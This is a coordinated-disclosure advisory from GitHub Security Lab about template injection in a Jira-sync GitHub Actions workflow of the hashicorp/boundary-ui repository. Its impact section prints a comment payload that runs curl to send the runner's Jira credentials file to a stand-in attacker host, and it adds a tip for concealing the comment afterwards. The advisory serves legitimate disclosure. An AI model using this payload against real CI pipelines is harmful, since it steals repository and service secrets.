Summary
Automatic GitHub workflow in hashicorp/boundary-ui repository is vulnerable to template injection from user comments.
Product
hashicorp/boundary-ui repository
Tested Version
Main branch.
Details
Issue: Hidden expression expansion of input parameters passed to atlassian/gajira-comment
Sync comment step in jira.yml workflow is vulnerable to template injection.
The ${{ github.event.comment.body }} is used to format input values to atlassian/gajira-comment action:
- name: Sync comment
if: github.event.action == 'created' && steps.search.outputs.issue
uses: atlassian/gajira-comment@v2.0.1
with:
issue: ${{ steps.search.outputs.issue }}
comment: "${{ github.actor }} ${{ github.event.review.state || 'commented' }}:\n\n${{ github.event.comment.body || github.event.review.body }}\n\n${{ github.event.comment.html_url || github.event.review.html_url }}"
However the Atlassian action has a hidden feature - it expands {{}} internally. This way when the comment body contains an expression in double curly braces it is evaluated by node.js in these actions.
Impact
This vulnerability allows for arbitrary code execution in the context of GitHub runner. For example a user may comment on an issue with:
{{ process.mainModule.require('child_process').exec(`curl -d @${process.env.HOME}/.jira.d/credentials http://evil.com`) }}
which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the comment to Never mind my bad.
Coordinated Disclosure Timeline
- 10/29/2020: Report sent to vendor
- 10/29/2020: Vendor acknowledges the issue
- 10/29/2020: Vendor remediates the issue
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-207 in any communication regarding this issue.